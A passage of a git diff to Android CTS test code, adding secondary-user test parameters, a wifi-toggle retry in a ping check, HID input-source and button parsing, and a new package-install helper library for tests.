diff --git a/hostsidetests/usage/AndroidTest.xml b/hostsidetests/usage/AndroidTest.xml
index fc7f46e..5c9b845 100644
--- a/hostsidetests/usage/AndroidTest.xml
+++ b/hostsidetests/usage/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppUsageTestApp.apk" />
diff --git a/hostsidetests/webkit/AndroidTest.xml b/hostsidetests/webkit/AndroidTest.xml
index 54a6c9a..4be85ac 100644
--- a/hostsidetests/webkit/AndroidTest.xml
+++ b/hostsidetests/webkit/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="webview" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWebViewStartupApp.apk" />
diff --git a/hostsidetests/wifibroadcasts/AndroidTest.xml b/hostsidetests/wifibroadcasts/AndroidTest.xml
index b9a0e59..8227587 100644
--- a/hostsidetests/wifibroadcasts/AndroidTest.xml
+++ b/hostsidetests/wifibroadcasts/AndroidTest.xml
@@ -25,4 +25,5 @@
     </test>
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 </configuration>
diff --git a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
index e01d682..8dcc4d3 100644
--- a/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
+++ b/hostsidetests/wifibroadcasts/src/android/wifibroadcasts/cts/WifiBroadcastsHostJUnit4Test.java
@@ -71,9 +71,14 @@
     private static final String PROHIBITED_STRING = "UNEXPECTED WIFI BROADCAST RECEIVED";
 
     /**
-     * The maximim number of times to attempt a ping
+     * The maximum total number of times to attempt a ping.
      */
-    private static final int MAXIMUM_PING_TRIES = 30;
+    private static final int MAXIMUM_PING_TRIES = 180;
+
+    /**
+     * The maximum number of times to attempt a ping before toggling wifi.
+     */
+    private static final int MAXIMUM_PING_TRIES_PER_CONNECTION = 60;
 
     /**
      * Name for wifi feature test
@@ -121,6 +126,10 @@
         CommandResult pingCommandResult = null;
         boolean pingSucceeded = false;
         for (int tries = 0; tries < MAXIMUM_PING_TRIES; tries++) {
+            if (tries > 0 && tries % MAXIMUM_PING_TRIES_PER_CONNECTION == 0) {
+                // if we have been trying for a while, toggle wifi off and then on.
+                device.executeShellCommand("svc wifi disable; sleep 1; svc wifi enable; sleep 3");
+            }
             // We don't require internet connectivity, just a configured address
             pingCommandResult = device.executeShellV2Command("ping -c 4 -W 2 -t 1 8.8.8.8");
             pingResult = String.join("/", pingCommandResult.getStdout(),
diff --git a/libs/deviceutillegacy/Android.bp b/libs/deviceutillegacy/Android.bp
index bbdd399..220b2ab 100644
--- a/libs/deviceutillegacy/Android.bp
+++ b/libs/deviceutillegacy/Android.bp
@@ -13,23 +13,6 @@
 // limitations under the License.
 
 java_library_static {
-    name: "ctsdeviceutillegacy",
-
-    static_libs: [
-        "compatibility-device-util",
-        "junit",
-    ],
-
-    libs: ["android.test.base.stubs"],
-
-    srcs: ["src/**/*.java"],
-
-    sdk_version: "test_current",
-
-}
-
-// A variant of ctsdeviceutillegacy that depends on androidx.test instead of android.support.test
-java_library_static {
     name: "ctsdeviceutillegacy-axt",
 
     static_libs: [
diff --git a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
index 06425c1..6e64204 100644
--- a/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
+++ b/libs/deviceutillegacy/src/android/webkit/cts/WebViewOnUiThread.java
@@ -490,9 +490,7 @@
     }
 
     public void evaluateJavascript(final String script, final ValueCallback<String> result) {
-        WebkitUtils.onMainThreadSync(() -> {
-            mWebView.evaluateJavascript(script, result);
-        });
+        WebkitUtils.onMainThread(() -> mWebView.evaluateJavascript(script, result));
     }
 
     public void saveWebArchive(final String basename, final boolean autoname,
diff --git a/libs/input/src/com/android/cts/input/HidJsonParser.java b/libs/input/src/com/android/cts/input/HidJsonParser.java
index be5f6bf..5e306ad 100644
--- a/libs/input/src/com/android/cts/input/HidJsonParser.java
+++ b/libs/input/src/com/android/cts/input/HidJsonParser.java
@@ -173,15 +173,17 @@
                     testData.reports.add(report);
                 }
 
+                final int source = sourceFromString(testcaseEntry.optString("source", "UNKNOWN"));
+
                 JSONArray events = testcaseEntry.getJSONArray("events");
                 for (int i = 0; i < events.length(); i++) {
                     JSONObject entry = events.getJSONObject(i);
 
-                    InputEvent event = null;
+                    InputEvent event;
                     if (entry.has("keycode")) {
-                        event = parseKeyEvent(entry);
+                        event = parseKeyEvent(source, entry);
                     } else if (entry.has("axes")) {
-                        event = parseMotionEvent(entry);
+                        event = parseMotionEvent(source, entry);
                     } else {
                         throw new RuntimeException(
                                 "Input event is not specified correctly. Received: " + entry);
@@ -196,13 +198,16 @@
         return tests;
     }
 
-    private KeyEvent parseKeyEvent(JSONObject entry) throws JSONException {
+    private KeyEvent parseKeyEvent(int source, JSONObject entry) throws JSONException {
         int action = keyActionFromString(entry.getString("action"));
         int keyCode = KeyEvent.keyCodeFromString(entry.getString("keycode"));
-        return new KeyEvent(action, keyCode);
+        // Only care about key code, action and source here. Times are not checked.
+        return new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                /* repeat */ 0, /* metaState */ 0, /* deviceId */ 0, /* scanCode */ 0,
+                /* flags */ 0, source);
     }
 
-    private MotionEvent parseMotionEvent(JSONObject entry) throws JSONException {
+    private MotionEvent parseMotionEvent(int source, JSONObject entry) throws JSONException {
         MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
         properties[0] = new MotionEvent.PointerProperties();
         properties[0].id = 0;
@@ -219,15 +224,22 @@
             coords[0].setAxisValue(MotionEvent.axisFromString(axis), value);
         }
 
+        int buttonState = 0;
+        JSONArray buttons = entry.optJSONArray("buttonState");
+        if (buttons != null) {
+            for (int i = 0; i < buttons.length(); ++i) {
+                buttonState |= motionButtonFromString(buttons.getString(i));
+            }
+        }
+
         int action = motionActionFromString(entry.getString("action"));
-        // Only care about axes and action here. Times are not checked
-        MotionEvent event = MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
-                /* pointercount */ 1, properties, coords, 0, 0, 0f, 0f,
-                0, 0, InputDevice.SOURCE_JOYSTICK, 0);
-        return event;
+        // Only care about axes, action and source here. Times are not checked.
+        return MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
+                /* pointercount */ 1, properties, coords, 0, buttonState, 0f, 0f,
+                0, 0, source, 0);
     }
 
-    private int keyActionFromString(String action) {
+    private static int keyActionFromString(String action) {
         switch (action.toUpperCase()) {
             case "DOWN":
                 return KeyEvent.ACTION_DOWN;
@@ -237,7 +249,7 @@
         throw new RuntimeException("Unknown action specified: " + action);
     }
 
-    private int motionActionFromString(String action) {
+    private static int motionActionFromString(String action) {
         switch (action.toUpperCase()) {
             case "DOWN":
                 return MotionEvent.ACTION_DOWN;
@@ -245,7 +257,49 @@
                 return MotionEvent.ACTION_MOVE;
             case "UP":
                 return MotionEvent.ACTION_UP;
+            case "BUTTON_PRESS":
+                return MotionEvent.ACTION_BUTTON_PRESS;
+            case "BUTTON_RELEASE":
+                return MotionEvent.ACTION_BUTTON_RELEASE;
+            case "HOVER_ENTER":
+                return MotionEvent.ACTION_HOVER_ENTER;
+            case "HOVER_MOVE":
+                return MotionEvent.ACTION_HOVER_MOVE;
+            case "HOVER_EXIT":
+                return MotionEvent.ACTION_HOVER_EXIT;
         }
         throw new RuntimeException("Unknown action specified: " + action);
     }
+
+    private static int sourceFromString(String source) {
+        switch (source.toUpperCase()) {
+            case "MOUSE_RELATIVE":
+                return InputDevice.SOURCE_MOUSE_RELATIVE;
+            case "JOYSTICK":
+                return InputDevice.SOURCE_JOYSTICK;
+            case "UNKNOWN":
+                return InputDevice.SOURCE_UNKNOWN;
+        }
+        throw new RuntimeException("Unknown source specified: " + source);
+    }
+
+    private static int motionButtonFromString(String button) {
+        switch (button.toUpperCase()) {
+            case "BACK":
+                return MotionEvent.BUTTON_BACK;
+            case "FORWARD":
+                return MotionEvent.BUTTON_FORWARD;
+            case "PRIMARY":
+                return MotionEvent.BUTTON_PRIMARY;
+            case "SECONDARY":
+                return MotionEvent.BUTTON_SECONDARY;
+            case "STYLUS_PRIMARY":
+                return MotionEvent.BUTTON_STYLUS_PRIMARY;
+            case "STYLUS_SECONDARY":
+                return MotionEvent.BUTTON_STYLUS_SECONDARY;
+            case "TERTIARY":
+                return MotionEvent.BUTTON_TERTIARY;
+        }
+        throw new RuntimeException("Unknown button specified: " + button);
+    }
 }
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
new file mode 100644
index 0000000..b989925
--- /dev/null
+++ b/libs/install/Android.bp
@@ -0,0 +1,106 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_test_helper_app {
+    name: "TestAppAv1",
+    manifest: "testapp/Av1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+    name: "TestAppAv2",
+    manifest: "testapp/Av2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+    name: "TestAppAv3",
+    manifest: "testapp/Av3.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v3"],
+}
+
+android_test_helper_app {
+    name: "TestAppACrashingV2",
+    manifest: "testapp/ACrashingV2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+    name: "TestAppBv1",
+    manifest: "testapp/Bv1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+    name: "TestAppBv2",
+    manifest: "testapp/Bv2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
+    name: "TestAppCv1",
+    manifest: "testapp/Cv1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+}
+
+android_test_helper_app {
+    name: "TestAppASplitV1",
+    manifest: "testapp/Av1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+    package_splits: ["anydpi"],
+}
+
+android_test_helper_app {
+    name: "TestAppASplitV2",
+    manifest: "testapp/Av2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+    package_splits: ["anydpi"],
+}
+
+java_library {
+    name: "cts-install-lib",
+    srcs: ["src/**/*.java"],
+    static_libs: ["androidx.test.rules", "truth-prebuilt"],
+    sdk_version: "test_current",
+    java_resources: [
+        ":TestAppAv1",
+        ":TestAppAv2",
+        ":TestAppAv3",
+        ":TestAppBv1",
+        ":TestAppBv2",
+        ":TestAppCv1",
+        ":TestAppACrashingV2",
+        ":TestAppASplitV1",
+        ":TestAppASplitV2",
+    ],
+}
diff --git a/libs/install/TEST_MAPPING b/libs/install/TEST_MAPPING
new file mode 100644
index 0000000..9d0ffe9
--- /dev/null
+++ b/libs/install/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "imports": [
+    {
+      "path": "cts/tests/tests/util"
+    }
+  ]
+}
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
new file mode 100644
index 0000000..3d987ef
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+
+/**
+ * Builder class for installing test apps and creating install sessions.
+ */
+public class Install {
+    // The collection of apps to be installed with parameters inherited from parent Install object.
+    private final TestApp[] mTestApps;
+    // The collection of apps to be installed with parameters independent of parent Install object.
+    private final Install[] mChildInstalls;
+    // Indicates whether Install represents a multiPackage install.
+    private final boolean mIsMultiPackage;
+    // PackageInstaller.Session parameters.
+    private boolean mIsStaged = false;
+    private boolean mIsDowngrade = false;
+    private boolean mEnableRollback = false;
+    private int mSessionMode = PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+    private int mInstallFlags = 0;
+
+    private Install(boolean isMultiPackage, TestApp... testApps) {
+        mIsMultiPackage = isMultiPackage;
+        mTestApps = testApps;
+        mChildInstalls = new Install[0];
+    }
+
+    private Install(boolean isMultiPackage, Install... installs) {
+        mIsMultiPackage = isMultiPackage;
+        mTestApps = new TestApp[0];
+        mChildInstalls = installs;
+    }
+
+    /**
+     * Creates an Install builder to install a single package.
+     */
+    public static Install single(TestApp testApp) {
+        return new Install(false, testApp);
+    }
+
+    /**
+     * Creates an Install builder to install using multiPackage.
+     */
+    public static Install multi(TestApp... testApps) {
+        return new Install(true, testApps);
+    }
+
+    /**
+     * Creates an Install builder from separate Install builders. The newly created builder
+     * will be responsible for building the parent session, while each one of the other builders
+     * will be responsible for building one of the child sessions.
+     *
+     * <p>Modifications to the parent install are not propagated to the child installs,
+     * and vice versa. This gives more control over a multi install session,
+     * e.g. can setStaged on a subset of the child sessions or setStaged on a child session but
+     * not on the parent session.
+     *
+     * <p>It's encouraged to use {@link #multi} that receives {@link TestApp}s
+     * instead of {@link Install}s. This variation of {@link #multi} should be used only if it's
+     * necessary to modify parameters in a subset of the installed sessions.
+     */
+    public static Install multi(Install... installs) {
+        for (Install childInstall : installs) {
+            assertThat(childInstall.isMultiPackage()).isFalse();
+        }
+        Install install = new Install(true, installs);
+        return install;
+    }
+
+    /**
+     * Makes the install a staged install.
+     */
+    public Install setStaged() {
+        mIsStaged = true;
+        return this;
+    }
+
+    /**
+     * Marks the install as a downgrade.
+     */
+    public Install setRequestDowngrade() {
+        mIsDowngrade = true;
+        return this;
+    }
+
+    /**
+     * Enables rollback for the install.
+     */
+    public Install setEnableRollback() {
+        mEnableRollback = true;
+        return this;
+    }
+
+    /**
+     * Sets the session mode {@link PackageInstaller.SessionParams#MODE_INHERIT_EXISTING}.
+     * If it's not set, then the default session mode is
+     * {@link PackageInstaller.SessionParams#MODE_FULL_INSTALL}
+     */
+    public Install setSessionMode(int sessionMode) {
+        mSessionMode = sessionMode;
+        return this;
+    }
+
+    /**
+     * Sets the session params.
+     */
+    public Install addInstallFlags(int installFlags) {
+        mInstallFlags |= installFlags;
+        return this;
+    }
+
+    /**
+     * Commits the install.
+     *
+     * @return the session id of the install session, if the session is successful.
+     * @throws AssertionError if the install doesn't succeed.
+     */
+    public int commit() throws IOException, InterruptedException {
+        int sessionId = createSession();
+        try (PackageInstaller.Session session =
+                     InstallUtils.openPackageInstallerSession(sessionId)) {
+            session.commit(LocalIntentSender.getIntentSender());
+            Intent result = LocalIntentSender.getIntentSenderResult();
+            int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                    PackageInstaller.STATUS_FAILURE);
+            if (status == -1) {
+                throw new AssertionError("PENDING USER ACTION");
+            } else if (status > 0) {
+                String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+                throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+            }
+
+            if (mIsStaged) {
+                InstallUtils.waitForSessionReady(sessionId);
+            }
+            return sessionId;
+        }
+    }
+
+    /**
+     * Kicks off an install flow by creating an install session
+     * and, in the case of a multiPackage install, child install sessions.
+     *
+     * @return the session id of the install session, if the session is successful.
+     */
+    public int createSession() throws IOException {
+        int sessionId;
+        if (isMultiPackage()) {
+            sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
+            try (PackageInstaller.Session session =
+                         InstallUtils.openPackageInstallerSession(sessionId)) {
+                for (Install subInstall : mChildInstalls) {
+                    session.addChildSessionId(subInstall.createSession());
+                }
+                for (TestApp testApp : mTestApps) {
+                    session.addChildSessionId(createSingleInstallSession(testApp));
+                }
+            }
+        } else {
+            assert mTestApps.length == 1;
+            sessionId = createSingleInstallSession(mTestApps[0]);
+        }
+        return sessionId;
+    }
+
+    /**
+     * Creates an empty install session with appropriate install params set.
+     *
+     * @return the session id of the newly created session
+     */
+    private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
+            throws IOException {
+        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(mSessionMode);
+        if (multiPackage) {
+            params.setMultiPackage();
+        }
+        if (isApex) {
+            params.setInstallAsApex();
+        }
+        if (mIsStaged) {
+            params.setStaged();
+        }
+        params.setRequestDowngrade(mIsDowngrade);
+        params.setEnableRollback(mEnableRollback);
+        if (mInstallFlags != 0) {
+            InstallUtils.mutateInstallFlags(params, mInstallFlags);
+        }
+        return InstallUtils.getPackageInstaller().createSession(params);
+    }
+
+    /**
+     * Creates an install session for the given test app.
+     *
+     * @return the session id of the newly created session.
+     */
+    private int createSingleInstallSession(TestApp app) throws IOException {
+        int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
+        try (PackageInstaller.Session session =
+                     InstallUtils.getPackageInstaller().openSession(sessionId)) {
+            for (String resourceName : app.getResourceNames()) {
+                try (OutputStream os = session.openWrite(resourceName, 0, -1);
+                     InputStream is = app.getResourceStream(resourceName);) {
+                    if (is == null) {
+                        throw new IOException("Resource " + resourceName + " not found");
+                    }
+                    byte[] buffer = new byte[4096];
+                    int n;
+                    while ((n = is.read(buffer)) >= 0) {
+                        os.write(buffer, 0, n);
+                    }
+                }
+            }
+            return sessionId;
+        }
+    }
+
+    private boolean isMultiPackage() {
+        return mIsMultiPackage;
+    }
+
+}
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
new file mode 100644
index 0000000..804de2d
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -0,0 +1,324 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.install.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.google.common.annotations.VisibleForTesting;
+
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+
+/**
+ * Utilities to facilitate installation in tests.
+ */
+public class InstallUtils {
+
+    /**
+     * Adopts the given shell permissions.
+     */
+    public static void adoptShellPermissionIdentity(String... permissions) {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(permissions);
+    }
+
+    /**
+     * Drops all shell permissions.
+     */
+    public static void dropShellPermissionIdentity() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+    /**
+     * Returns the version of the given package installed on device.
+     * Returns -1 if the package is not currently installed.
+     */
+    public static long getInstalledVersion(String packageName) {
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager pm = context.getPackageManager();
+        try {
+            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+            return info.getLongVersionCode();
+        } catch (PackageManager.NameNotFoundException e) {
+            return -1;
+        }
+    }
+
+    /**
+     * Waits for the given session to be marked as ready.
+     * Throws an assertion if the session fails.
+     */
+    public static void waitForSessionReady(int sessionId) {
+        BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
+        BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                PackageInstaller.SessionInfo info =
+                        intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
+                if (info != null && info.getSessionId() == sessionId) {
+                    if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
+                        try {
+                            sessionStatus.put(info);
+                        } catch (InterruptedException e) {
+                            throw new AssertionError(e);
+                        }
+                    }
+                }
+            }
+        };
+        IntentFilter sessionUpdatedFilter =
+                new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
+
+        Context context = InstrumentationRegistry.getContext();
+        context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
+
+        PackageInstaller installer = getPackageInstaller();
+        PackageInstaller.SessionInfo info = installer.getSessionInfo(sessionId);
+
+        try {
+            if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
+                sessionStatus.put(info);
+            }
+
+            info = sessionStatus.take();
+            context.unregisterReceiver(sessionUpdatedReceiver);
+            if (info.isStagedSessionFailed()) {
+                throw new AssertionError(info.getStagedSessionErrorMessage());
+            }
+        } catch (InterruptedException e) {
+            throw new AssertionError(e);
+        }
+    }
+
+    /**
+     * Returns the info for the given package name.
+     */
+    public static PackageInfo getPackageInfo(String packageName) {
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager pm = context.getPackageManager();
+        try {
+            return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
+        } catch (PackageManager.NameNotFoundException e) {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the PackageInstaller instance of the current {@code Context}
+     */
+    public static PackageInstaller getPackageInstaller() {
+        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+    }
+
+    /**
+     * Returns an existing session to actively perform work.
+     * {@see PackageInstaller#openSession}
+     */
+    public static PackageInstaller.Session openPackageInstallerSession(int sessionId)
+            throws IOException {
+        return getPackageInstaller().openSession(sessionId);
+    }
+
+    /**
+     * Asserts that {@code result} intent has a success status.
+     */
+    public static void assertStatusSuccess(Intent result) {
+        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                PackageInstaller.STATUS_FAILURE);
+        if (status == -1) {
+            throw new AssertionError("PENDING USER ACTION");
+        } else if (status > 0) {
+            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+        }
+    }
+
+    /**
+     * Commits {@link Install} but expects to fail.
+     *
+     * @param expectedThrowableClass class or superclass of the expected throwable.
+     *
+     */
+    public static void commitExpectingFailure(Class expectedThrowableClass,
+            String expectedFailMessage, Install install) {
+        assertThrows(expectedThrowableClass, expectedFailMessage, () -> install.commit());
+    }
+
+    /**
+     * Mutates {@code installFlags} field of {@code params} by adding {@code
+     * additionalInstallFlags} to it.
+     */
+    @VisibleForTesting
+    public static void mutateInstallFlags(PackageInstaller.SessionParams params,
+            int additionalInstallFlags) {
+        final Class<?> clazz = params.getClass();
+        Field installFlagsField;
+        try {
+            installFlagsField = clazz.getDeclaredField("installFlags");
+        } catch (NoSuchFieldException e) {
+            throw new AssertionError("Unable to reflect over SessionParams.installFlags", e);
+        }
+
+        try {
+            int flags = installFlagsField.getInt(params);
+            flags |= additionalInstallFlags;
+            installFlagsField.setAccessible(true);
+            installFlagsField.setInt(params, flags);
+        } catch (IllegalAccessException e) {
+            throw new AssertionError("Unable to reflect over SessionParams.installFlags", e);
+        }
+    }
+
+    private static final String NO_RESPONSE = "NO RESPONSE";
+
+    /**
+     * Calls into the test app to process user data.
+     * Asserts if the user data could not be processed or was version
+     * incompatible with the previously processed user data.
+     */
+    public static void processUserData(String packageName) {
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(packageName,
+                "com.android.cts.install.lib.testapp.ProcessUserData"));
+        Context context = InstrumentationRegistry.getContext();
+
+        HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
+        handlerThread.start();
+
+        // It can sometimes take a while after rollback before the app will
+        // receive this broadcast, so try a few times in a loop.
+        String result = NO_RESPONSE;
+        for (int i = 0; result.equals(NO_RESPONSE) && i < 5; ++i) {
+            BlockingQueue<String> resultQueue = new LinkedBlockingQueue<>();
+            context.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    if (getResultCode() == 1) {
+                        resultQueue.add("OK");
+                    } else {
+                        // If the test app doesn't receive the broadcast or
+                        // fails to set the result data, then getResultData
+                        // here returns the initial NO_RESPONSE data passed to
+                        // the sendOrderedBroadcast call.
+                        resultQueue.add(getResultData());
+                    }
+                }
+            }, new Handler(handlerThread.getLooper()), 0, NO_RESPONSE, null);
+
+            try {
+                result = resultQueue.take();
+            } catch (InterruptedException e) {
+                throw new AssertionError(e);
+            }
+        }
+
+        assertThat(result).isEqualTo("OK");
+    }
+
+    /**
+     * Checks whether the given package is installed on /system and was not updated.
+     */
+    static boolean isSystemAppWithoutUpdate(String packageName) {
+        PackageInfo pi = getPackageInfo(packageName);
+        if (pi == null) {
+            return false;
+        } else {
+            return ((pi.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0)
+                    && ((pi.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) == 0);
+        }
+    }
+
+    /**
+     * Checks whether a given package is installed for only the given user, from a list of users.
+     * @param packageName the package to check
+     * @param userIdToCheck the user id of the user to check
+     * @param userIds a list of user ids to check
+     * @return {@code true} if the package is only installed for the given user,
+     *         {@code false} otherwise.
+     */
+    public static boolean isOnlyInstalledForUser(String packageName, int userIdToCheck,
+            List<Integer> userIds) {
+        Context context = InstrumentationRegistry.getContext();
+        PackageManager pm = context.getPackageManager();
+        for (int userId: userIds) {
+            List<PackageInfo> installedPackages;
+            if (userId != userIdToCheck) {
+                installedPackages = pm.getInstalledPackagesAsUser(PackageManager.MATCH_APEX,
+                        userId);
+                for (PackageInfo pi : installedPackages) {
+                    if (pi.packageName.equals(packageName)) {
+                        return false;
+                    }
+                }
+            }
+        }
+        return true;
+
+    }
+
+    /**
+     * A functional interface representing an operation that takes no arguments,
+     * returns no arguments and might throw a {@link Throwable} of any kind.
+     */
+    @FunctionalInterface
+    private interface Operation {
+        /**
+         * This is the method that gets called for any object that implements this interface.
+         */
+        void run() throws Throwable;
+    }
+
+    /**
+     * Runs {@link Operation} and expects a {@link Throwable} of the given class to be thrown.
+     *
+     * @param expectedThrowableClass class or superclass of the expected throwable.
+     */
+    private static void assertThrows(Class expectedThrowableClass, String expectedFailMessage,
+            Operation operation) {
+        try {
+            operation.run();
+        } catch (Throwable expected) {
+            assertThat(expectedThrowableClass.isAssignableFrom(expected.getClass())).isTrue();
+            assertThat(expected.getMessage()).containsMatch(expectedFailMessage);
+            return;
+        }
+        fail("Operation was expected to fail!");
+    }
+}
diff --git a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
new file mode 100644
index 0000000..cf2abe8
--- /dev/null
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
